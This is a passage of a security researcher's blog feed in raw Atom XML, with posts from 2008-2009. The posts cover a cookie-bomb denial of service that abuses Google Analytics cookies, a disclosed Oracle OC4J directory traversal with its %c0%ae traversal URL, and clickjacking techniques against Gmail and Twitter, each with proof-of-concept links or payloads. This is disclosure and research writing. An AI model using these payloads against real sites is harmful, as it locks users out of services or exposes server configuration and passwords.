fike googleanalitycs.com to 0.0.0.0 (and if you are a system admin that is not using google analytics you&lt;br /&gt;
should probably also do the same, since all websites in the world that use google analytics are vulnerable&lt;br /&gt;
to this attack, and you are protecting your user's security AND privacy by doing so..).&lt;br /&gt;
&lt;br /&gt;
Greetz!!&lt;br /&gt;
&lt;br /&gt;
PS. I made this post on notepad so its probably weird on blogspot.&lt;div class="blogger-post-footer"&gt;&lt;hr /&gt;
&lt;a href="http://sirdarckcat.net/"&gt;sirdarckcat&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7482149-3239121748994887563?l=sirdarckcat.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/3WBQboQQN_zfqmW3rlXGs_o75UU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/3WBQboQQN_zfqmW3rlXGs_o75UU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/3WBQboQQN_zfqmW3rlXGs_o75UU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/3WBQboQQN_zfqmW3rlXGs_o75UU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/sirdarckcat/~4/bn_GsTDDmtc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://sirdarckcat.blogspot.com/feeds/3239121748994887563/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://sirdarckcat.blogspot.com/2009/08/our-favorite-xss-filters-and-how-to.html#comment-form" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/3239121748994887563?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/3239121748994887563?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/sirdarckcat/~3/bn_GsTDDmtc/our-favorite-xss-filters-and-how-to.html" title="Our Favorite XSS Filters and how to Attack them" /><author><name>sirdarckcat</name><uri>http://www.blogger.com/profile/12601594427575096471</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>1</thr:total><feedburner:origLink>http://sirdarckcat.blogspot.com/2009/08/our-favorite-xss-filters-and-how-to.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0QNQXc_eip7ImA9WxJTEEk.&quot;"><id>tag:blogger.com,1999:blog-7482149.post-4516166290217508483</id><published>2009-04-18T02:33:00.006-05:00</published><updated>2009-04-18T02:56:30.942-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-04-18T02:56:30.942-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="firefox" /><category scheme="http://www.blogger.com/atom/ns#" term="DoS" /><category scheme="http://www.blogger.com/atom/ns#" term="iexporer" /><category scheme="http://www.blogger.com/atom/ns#" term="google" /><category scheme="http://www.blogger.com/atom/ns#" term="opera" /><title>How to use Google Analytics to DoS a client from some website.</title><content type="html">So, right.. I was trying to read some stuff about problems sharing my wired connection of my linux laptop to another windows laptop via wireless, but one of the links was on mail-archive.com, and for some reason it's blocked on China (yeah, I'm living on China now =D). So, I decided to go to a friend's website to read the webpage, but... suddenly, there was an error..&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;Bad Request&lt;br /&gt;Your browser sent a request that this server could not understand.&lt;br /&gt;&lt;br /&gt;Size of a request header field exceeds server limit.&lt;br /&gt;&lt;br /&gt;Cookie: &lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;The reason of the error is unknown, but that's not important, what is important is that I realized that with a big enough cookie (8190 bytes aprox) we can DoS someone from entering a webpage. (With a 400 HTTP Response status code on Apache, a 413 on some google services, and on some websites an infinite loop because the big cookies delete session cookies).&lt;br /&gt;&lt;br /&gt;The reason we would like to block from accessing a server is not really important, what is important is that being able to block them out is dangerous.&lt;br /&gt;&lt;br /&gt;Anyway.. we need to set cookies, and this is good enough for a lot of attacks (like no-ip domains, shared subdomains like blogspot &lt;like&gt;, browsers that allow top level domain cookies, second level domains like .co.uk &lt;or&gt;, etc..), but I really wanted to do something more cool.. so I started thinking, how to set cookies on clients.&lt;br /&gt;&lt;br /&gt;And the "how", as the reader may deduce from the title of this blogspot is using Google Analytics. I've been researching Google Analytics cookies for some time now, so I sort-of know how they work. And I know pretty good that the google's implementation allows an attacker to add anything in some cookies.&lt;br /&gt;&lt;br /&gt;So well, one of those cookies is the referer. This is true for "search result - organic referers", like for example, a Google search. The catch is that the detection on google's service is very bad, and we can fool it to think we are a google search result by doing:&lt;br /&gt;&lt;br /&gt;&lt;u&gt;http://google.yourfavoritedomain.com/search?q=search-term&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;So, you can guess.. if search-term is big enough we can hack the world.&lt;br /&gt;&lt;br /&gt;Anyway, there's a catch. You can't set such a big cookie. The limit aparently is 4192 bytes. So.. what you have to do is control 2 cookies.&lt;br /&gt;&lt;br /&gt;The other cookie we are going to be using is GASO (Google Analytics Site Overlay), its trigered  by the content on&lt;br /&gt;&lt;u&gt;http://yourwebsite.com/page.html#gaso=somevalue&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;And well, the google analytics code will set a cookie called GASO to somevalue&lt;br /&gt;&lt;br /&gt;With both vectors we can now set very big cookies! and with those cookies we can disable access to lot of websites to anyone with just a link (or an iframe if you want to improve the stealthness of the attack).&lt;br /&gt;&lt;br /&gt;Twitter PoC:&lt;br /&gt;&lt;a href="http://google.sirdarckcat.net/?v=http://twitter.com/"&gt;http://google.sirdarckcat.net/?v=http://twitter.com/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;If you use twitter over SSL...&lt;br /&gt;&lt;a href="http://google.sirdarckcat.net/?v=https://twitter.com/"&gt;http://google.sirdarckcat.net/?v=https://twitter.com/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;To lock you out of all wordpress.com blogs:&lt;br /&gt;&lt;a href="http://google.sirdarckcat.net/?v=http://rofl.wordpress.com/"&gt;http://google.sirdarckcat.net/?v=http://rofl.wordpress.com/&lt;/a&gt;&lt;br /&gt;Try your favorite Google Analytics powered websites :D&lt;br /&gt;&lt;br /&gt;References:&lt;br /&gt;&lt;a href="http://httpd.apache.org/docs/2.0/mod/core.html#limitrequestfieldsize"&gt;http://httpd.apache.org/docs/2.0/mod/core.html#limitrequestfieldsize&lt;/a&gt;&lt;br /&gt;http://httpd.apache.org/docs/1.3/mod/core.html#limitrequestfieldsize&lt;br /&gt;&lt;a href="http://royal.pingdom.com/2008/05/28/google-analytics-dominate-the-top-500-websites/"&gt;http://royal.pingdom.com/2008/05/28/google-analytics-dominate-the-top-500-websites/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Examples:&lt;br /&gt;GASO limit&lt;br /&gt;#gaso=dagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondago&lt;br /&gt;&lt;br /&gt;SEARCH referer limit&lt;br /&gt;http://google.com/search?q=dagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogl&lt;/or&gt;&lt;/like&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr /&gt;
&lt;a href="http://sirdarckcat.net/"&gt;sirdarckcat&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7482149-4516166290217508483?l=sirdarckcat.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/kAjqPKsM8kuCpxRe0qCEqN5j4f8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/kAjqPKsM8kuCpxRe0qCEqN5j4f8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/kAjqPKsM8kuCpxRe0qCEqN5j4f8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/kAjqPKsM8kuCpxRe0qCEqN5j4f8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/sirdarckcat/~4/ksKYsxiK4lg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://sirdarckcat.blogspot.com/feeds/4516166290217508483/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://sirdarckcat.blogspot.com/2009/04/how-to-use-google-analytics-to-dos.html#comment-form" title="7 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/4516166290217508483?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/4516166290217508483?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/sirdarckcat/~3/ksKYsxiK4lg/how-to-use-google-analytics-to-dos.html" title="How to use Google Analytics to DoS a client from some website." /><author><name>sirdarckcat</name><uri>http://www.blogger.com/profile/12601594427575096471</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>7</thr:total><feedburner:origLink>http://sirdarckcat.blogspot.com/2009/04/how-to-use-google-analytics-to-dos.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DE4AR30-cSp7ImA9WxVRFE8.&quot;"><id>tag:blogger.com,1999:blog-7482149.post-142778022196408724</id><published>2009-01-19T22:27:00.007-06:00</published><updated>2009-01-19T22:49:06.359-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-01-19T22:49:06.359-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="directory traversal" /><category scheme="http://www.blogger.com/atom/ns#" term="oracle" /><title>Oracle Containers For Java Directory Traversal (OC4J) Oracle Application Server 10g (10.1.3.1.0) Oracle HTTP Server</title><content type="html">&lt;span style="font-weight: bold;"&gt; Server Version Info&lt;/span&gt;: &lt;span class="nfakPe"&gt;Oracle&lt;/span&gt;-Application-Server-10g/10.1.3.1.0 &lt;span class="nfakPe"&gt;Oracle&lt;/span&gt;-HTTP-Server&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;PoC&lt;/span&gt;: &lt;a href="http://oc4j/web-app/foobar/%c0%ae%c0%ae/WEB-INF/web.xml"&gt;http://OC4J/web-app/foobar/%c0%ae%c0%ae/WEB-INF/web.xml&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Related&lt;/span&gt;: &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2938" target="_blank"&gt;http://cve.mitre.org/cgi-bin/&lt;wbr&gt;cvename.cgi?name=CVE-2008-2938&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Explaination&lt;/span&gt;: The "%c0%ae%c0%ae" is interpreted as: ".." because on Java's side: "%c0%ae" is interpreted as: "\uC0AE" that get's casted to an ASCII-LOW char, that is: ".".&lt;br /&gt;&lt;br /&gt;You can read dangerous configuration information including passwords, users, paths, etc..&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Discovered&lt;/span&gt;: 8/16/08&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Vendor contacted&lt;/span&gt;: 8/16/08&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Vendor response&lt;/span&gt;: 8/18/08&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Vendor reproduced the issue&lt;/span&gt;: 9/10/08&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Vendor last contact&lt;/span&gt;: 9/30/08&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Public Disclosure&lt;/span&gt;: 1/19/09&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Oracle security bug id&lt;/span&gt;: 7391479&lt;br /&gt;&lt;br /&gt;For more information contact Oracle Security Team: &lt;span class="HcCDpe"&gt;&lt;span class="lDACoc"&gt;secalert_us@oracle.com&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;I really wanted to give a link to a patch, but I think it's better if this is known by sysadmins so they can filter this using an IDS.&lt;br /&gt;&lt;br /&gt;Greetings!!&lt;div class="blogger-post-footer"&gt;&lt;hr /&gt;
&lt;a href="http://sirdarckcat.net/"&gt;sirdarckcat&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7482149-142778022196408724?l=sirdarckcat.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/gS06DZcVMlLL3zQ0WHbgyvDQOzc/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/gS06DZcVMlLL3zQ0WHbgyvDQOzc/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/gS06DZcVMlLL3zQ0WHbgyvDQOzc/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/gS06DZcVMlLL3zQ0WHbgyvDQOzc/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/sirdarckcat/~4/l1svGHpU5eE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://sirdarckcat.blogspot.com/feeds/142778022196408724/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://sirdarckcat.blogspot.com/2009/01/oracle-containers-for-java-directory.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/142778022196408724?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/142778022196408724?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/sirdarckcat/~3/l1svGHpU5eE/oracle-containers-for-java-directory.html" title="Oracle Containers For Java Directory Traversal (OC4J) Oracle Application Server 10g (10.1.3.1.0) Oracle HTTP Server" /><author><name>sirdarckcat</name><uri>http://www.blogger.com/profile/12601594427575096471</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://sirdarckcat.blogspot.com/2009/01/oracle-containers-for-java-directory.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUMDSHo9fSp7ImA9WxRXFk4.&quot;"><id>tag:blogger.com,1999:blog-7482149.post-1505705376533834915</id><published>2008-10-21T14:19:00.005-05:00</published><updated>2008-10-21T18:57:59.465-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-10-21T18:57:59.465-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="javascript" /><category scheme="http://www.blogger.com/atom/ns#" term="firefox" /><category scheme="http://www.blogger.com/atom/ns#" term="csrf" /><category scheme="http://www.blogger.com/atom/ns#" term="noscript" /><category scheme="http://www.blogger.com/atom/ns#" term="iexporer" /><category scheme="http://www.blogger.com/atom/ns#" term="google" /><category scheme="http://www.blogger.com/atom/ns#" term="flash" /><category scheme="http://www.blogger.com/atom/ns#" term="opera" /><category scheme="http://www.blogger.com/atom/ns#" term="html" /><category scheme="http://www.blogger.com/atom/ns#" term="css" /><title>About CSS Attacks</title><content type="html">&lt;a target="_blank" href="http://www.thespanner.co.uk/"&gt;Gareth&lt;/a&gt;, &lt;a target="_blank" href="http://p42.us/"&gt;David&lt;/a&gt; and I went to &lt;a target="_blank" href="http://technet.microsoft.com/en-us/security/cc748656.aspx"&gt;Microsoft Bluehat v8&lt;/a&gt;, it was pretty fun meeting everyone.&lt;br /&gt;
&lt;br /&gt;
Gareth described the talk pretty well in here: &lt;a target="_blank" href="http://www.thespanner.co.uk/2008/10/20/bluehat/"&gt;http://www.thespanner.co.uk/2008/10/20/bluehat/&lt;/a&gt;, (&lt;a target="_blank" href="http://www.thespanner.co.uk/wp-content/uploads/2008/10/the_sexy_assassin2ppt.zip"&gt;slides&lt;/a&gt;) anyway I want to show the stuff we didn't showed at Bluehat because of their no-zeroday policy (even if the vendor wasn't willing to patch).&lt;br /&gt;
&lt;br /&gt;
So well we have the following clickjacking PoCs, that show different attack techniques.&lt;br /&gt;
&lt;span style="font-size: 130%; font-weight: bold;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span style="font-size: 130%; font-weight: bold;"&gt;Ghost &lt;/span&gt;&lt;span style="font-size: 130%; font-weight: bold;"&gt;Mirror - GMail PoC&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a target="_blank" href="http://www.sirdarckcat.net/gmailclickjacking.html"&gt;http://www.sirdarckcat.net/gmailclickjacking.html &lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Sends an email when you click [Send] (check your sent mails folder).&lt;br /&gt;
&lt;br /&gt;
This technique works like this:&lt;br /&gt;
&lt;br /&gt;
You get a copy of the generated HTML code of the target webpage, then you simply hide everything, except for the button you want to overlay.. you could draw other things using absolute positioning, but this is enough for most scenarios.&lt;br /&gt;
&lt;br /&gt;
You can checkout the "ghost page" here: &lt;a target="_blank" href="http://www.sirdarckcat.net/dad.html"&gt;http://www.sirdarckcat.net/dad.html &lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
This attack has it's pros and it's cons.. the most important pro is that it's the best way of doing cross-browser exploits.. since you don't depend on the sizes, margins, overflow rules etc.. that different browsers use.&lt;br /&gt;
&lt;br /&gt;
This attack (and PoC) was reported to Google Security Team on Sat, Sep 27, 2008 at 11:37 PM, the response was that it won't be fixed (I'm sure they have more serious issues to take care about).&lt;br /&gt;
&lt;span style="font-size: 130%;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span style="font-size: 130%; font-weight: bold;"&gt;Frame Cropping - Twitter PoC&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a target="_blank" href="http://www.sirdarckcat.net/coconuterror.html"&gt;http://www.sirdarckcat.net/coconuterror.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
This one uses another technique, that is usefull for selecting a specific section of a webpage, this specific PoC is Firefox only, not because the technique is not posible on other browsers, but because you have to make a different exploit for each different browser.&lt;br /&gt;
&lt;br /&gt;
The way it works is using 2 iframes with a fixed height/width and possition, you only have to positionate the iframe using negative left/top coordinates, once you have that, you crop to the height and width of the button.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If that's not possible due to styling specific issues, then you have to use a second iframe that will have a height/width of the size of the button to be overlayed.&lt;br /&gt;
&lt;br /&gt;
Both iframes must have the CSS properties&lt;b&gt; overflow:hidden; &lt;/b&gt;and&lt;b&gt; border: 0&lt;/b&gt; (or their HTML attribute equivalent {like frameborder instead of border}).&lt;br /&gt;
&lt;br /&gt;
This one is sexy :)&lt;br /&gt;
&lt;br /&gt;
We also have the.. javascript ones.&lt;br /&gt;
&lt;span style="font-size: 130%;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span style="font-size: 130%; font-weight: bold;"&gt;Pixel Window - &lt;/span&gt;&lt;span style="font-size: 130%; font-weight: bold;"&gt;Adobe Flash Webcam PoC&lt;/span&gt;&lt;br /&gt;
&lt;a target="_blank" href="http://ha.ckers.org/weird/cjdivtest.html"&gt;&lt;br /&gt;
http://ha.ckers.org/weird/cjdivtest.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This one overlays 4 divs leaving a window where the mouse will be clicked.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Update to the latest Adobe Flash Player to be protected against this vulnerability.&lt;br /&gt;
&lt;a target="_blank" href="http://get.adobe.com/flash"&gt;http://get.adobe.com/flash&lt;/a&gt;/&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: 130%; font-weight: bold;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span style="font-size: 130%; font-weight: bold;"&gt;Mouse Chase - &lt;/span&gt;&lt;span style="font-size: 130%; font-weight: bold;"&gt;Adobe Flash Webcam PoC&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a target="_blank" href="http://grack.com/record/"&gt;http://grack.com/record/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The same principle of Pixel Window..but now with the overlay chasing the mouse position.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: 130%; font-weight: bold;"&gt;CSS Attribute Reader Source Code&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a target="_blank" href="http://eaea.sirdarckcat.net/cssar/v2/?source"&gt;http://eaea.sirdarckcat.net/cssar/v2/?source&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
The first version of the reader wont be released yet, maybe later.. sorry.&lt;br /&gt;
&lt;br /&gt;
This type of attack is relevant, because this could start a new type of attack based on XSS, that could be called Cross Site Styling   (since we are not really using a scripting language).&lt;br /&gt;
&lt;br /&gt;
There's another version, made by Wisec that is also pretty cool, based on meta refreshes, it calculates 1 char per second, &lt;a target="_blank" href="http://www.ruxcon.org.au/presentations.shtml#5"&gt;he'll be presenting it soon at ruxcon&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
By the way, I also want to say thanks to the guys that attended &lt;a target="_blank" href="http://1.bp.blogspot.com/_Lks4_cnABGU/SP5mxMXAQrI/AAAAAAAAAW4/k8FEVswTgSQ/s1600-h/bunkent0rtele2.jpg"&gt;bunkent0r&lt;/a&gt; for their feedback on the presentation.&lt;br /&gt;
&lt;br /&gt;
